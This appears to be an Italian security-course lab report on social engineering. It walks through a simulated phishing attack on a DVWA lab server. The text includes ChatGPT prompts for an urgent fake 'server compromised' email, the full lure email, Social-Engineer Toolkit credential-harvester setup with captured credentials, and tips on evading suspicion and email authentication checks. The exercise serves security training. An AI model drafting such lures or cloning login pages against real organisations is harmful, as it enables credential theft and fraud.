

S5E5

Ingegneria Sociale

Obiettivo: Creare una simulazione di un'email di phishing utilizzando ChatGPT.

Istruzioni:

1. Creare uno scenario:

- Pensate a un contesto realistico in cui un'email di phishing potrebbe essere inviata. Può essere una notifica bancaria, un'email di un fornitore di servizi, un messaggio di un collega, ecc.
- Definite chiaramente l'obiettivo del phishing (ad esempio, ottenere credenziali di accesso, informazioni personali, dati finanziari, ecc.).

2. Scrivere l'email di phishing:

- Utilizzate ChatGPT per generare il contenuto dell'email.
- Assicuratevi che l'email sia convincente, ma anche che contenga gli elementi tipici delle email di phishing (ad esempio, richieste urgenti, link sospetti, errori grammaticali).

3. Spiegare lo scenario:

- Descrivete lo scenario che avete creato.
- Spiegate perché l'email potrebbe sembrare credibile alla vittima.
- Evidenziate gli elementi dell'email che dovrebbero far scattare un campanello d'allarme sulla sua autenticità.

Fase 1

Contesto: L'azienda CryTech mi ha incaricato di infiltrarmi presso l'azienda Theta per ottenere le credenziali di accesso al loro web server. Una volta assunto come IT Junior Specialist presso Theta, ho scoperto che il CTO dell'azienda è Giuseppe Rossi, Inoltre ho appreso che Theta utilizza un web server DVWA con IP 192.168.1.161

L'obiettivo è inviare una email di emergenza che dichiari una presunta compromissione dell'integrità del web server, richiedendo un accesso urgente alla piattaforma per risolvere il problema. Per ottenere le informazioni di cui ho bisogno, creerò un clone della pagina di login del web server. Questo clone verrà inserito all'interno dell'email, inducendo il destinatario a inserire le credenziali su una pagina apparentemente autentica ma in realtà malevola.

Informazioni a disposizione:

- mail target: christiantest00@libero.it
- IP Web Server: <http://192.168.1.161/dvwa/login.php>
- IP Web server Clone: <http://192.168.64.6>
- Nome e Cognome Target: Giuseppe Rossi
- Posizione in azienda: CTO
- Cosa scoprire: Username e Password del web server DVWA

Fase 2

Prompt chatGPT per la creazione mail

Creami una mail che possa comunicare a Giuseppe Rossi CTO dell'azienda Theta, che l'integrità del web server DVWA aziendale è stata corrotta. Bisogna entrare nel seguente Link: 192.168.64.6 il prima possibile e verificare tempestivamente lo stato del web server.

Successivamente farò una seconda richiesta dicendo:

Riscrivimi la mail in maniera più umana, con gli errori grammaticali di chi ha urgenza di scrivere la mail nella maniera più veloce possibile, ho anche bisogno che la mail sia tecnicamente dettagliata.

Il risultato dei due **prompt** sarà:

Oggetto: **URGENTE: Possibile compromissione del web server DVWA**

Ciao Giuseppe,

Ti scrivo perché abbiamo rilevato una possibile compromissione dell'integrità del web server DVWA aziendale, e serve un tuo intervento urgente per verificarne lo stato e valutare eventuali danni o anomalie.

****Dettagli del server:****

Link per accedere al portale:<http://192.168.64.6>

Da quanto riscontrato finora, sembra che il sistema possa essere stato violato, anche se non abbiamo ancora conferme definitive. È fondamentale che accedi al più presto per esaminare la situazione e individuare eventuali problemi di sicurezza, così da poter intervenire tempestivamente per evitare conseguenze più gravi.

Ti prego fammi sapere appena possibile qual è lo stato del server e se hai bisogno di supporto o ulteriori informazioni.

Scusa l'urgenza, ma è fondamentale agire subito. Grazie per l'attenzione.

A presto,

[Christian carra]

[IT Junior Specialist]

Creazione clone del web server

Utilizzerò il Social Engineering Toolkit (SET) su Kali Linux per creare un clone del web server di accesso, che includerò come link all'interno dell'email. In questo modo, quando il CTO inserirà le sue credenziali (username e password) sulla pagina falsificata, queste verranno catturate in chiaro, permettendomi di visualizzarle direttamente.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.64.6]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://192.168.1.161/dvwa/login.php

[*] Cloning the website: http://192.168.1.161/dvwa/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```

Ora se andiamo sull'IP 192.168.64.6 noteremo che il sito è identico al login del web server DVWA.



Nell'immagine seguente si può notare che sono stati presi in memoria da SET le informazioni di cui ho bisogno.

```
192.168.64.6 - - [01/Nov/2024 16:41:45] "GET / HTTP/1.1" 200 -  
[*] WE GOT A HIT! Printing the output:  
POSSIBLE USERNAME FIELD FOUND: username=admin  
POSSIBLE PASSWORD FIELD FOUND: password=password  
POSSIBLE USERNAME FIELD FOUND: Login=Login  
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

Fase 3

Parte il Phishing

Come fase finale, invierò la mail al CTO Giuseppe Rossi. Il fatto che l'email sembri provenire da un collega interno, piuttosto che da una fonte esterna, rende più probabile che il CTO la apra senza sospetti, aumentando le probabilità che inserisca le proprie credenziali (username e password) nel portale.

Una volta ottenute le credenziali, sarà mio compito passarle all'azienda Crytech, mentre continuerò a operare all'interno dell'azienda Theta per raccogliere quante più informazioni possibili. Inoltre, poiché la mail è interna all'azienda, supererà facilmente i controlli di autenticazione SPF, DKIM e DMARC, non destando alcun allarme nei sistemi di sicurezza aziendali.

Debolezze della mail n1: IP errato

Una delle criticità di questa email è che, se il CTO è una persona preparata, attenta e in grado di mantenere la calma anche nelle situazioni di emergenza, potrebbe notare che l'indirizzo IP inserito come link al web server DVWA non corrisponde all'IP reale.

In teoria, si potrebbe ovviare a questa vulnerabilità mascherando l'IP con un pulsante o un elemento interattivo, ma tali tecniche grafiche avanzate sono raramente utilizzate in email aziendali di emergenza, dove la rapidità e semplicità di comunicazione prevalgono.

L'idea è che, data l'urgenza e la gravità del messaggio, il CTO si concentri sul contenuto della segnalazione e intervenga prontamente senza notare che l'IP differisce da quello reale del web server.

Oggetto: **URGENTE: Possibile compromissione del web server DVWA**

CC Christian Carra <christiancarra64@gmail.com>
A christiantest00@libero.it

17:14 ☆

INDIETRO



< 1 >



Ciao Giuseppe,

Ti scrivo perché abbiamo rilevato una possibile compromissione dell'integrità del web server DVWA aziendale, e serve un tuo intervento urgente per verificarne lo stato e valutare eventuali danni o anomalie.

****Dettagli del server:****

Link per accedere al portale: <http://192.168.64.6>

Da quanto riscontrato finora, sembra che il sistema possa essere stato violato, anche se non abbiamo ancora conferme definitive. È fondamentale che accedi al più presto per esaminare la situazione e individuare eventuali problemi di sicurezza, così da poter intervenire tempestivamente per evitare conseguenze più gravi.

Ti prego fammi sapere appena possibile qual è lo stato del server e se hai bisogno di supporto o ulteriori informazioni.

Scusa l'urgenza, ma è fondamentale agire subito. Grazie per l'attenzione.

A presto,
[Christian carra]
[IT Junior Specialist]

Debolezza della mail n. 2: Assenza di attacchi esterni

È cruciale che CryTech implementi una simulazione di attacchi esterni al Web Server. Questo approccio non solo contribuirà a testare la resilienza del sistema contro potenziali minacce, ma fornirà anche un'illustrazione tangibile di attività malevole per il CTO. Se durante l'analisi post-incidente non verranno identificate anomalie o segnali di compromissione, esisterà il rischio che io venga considerato un sospettato.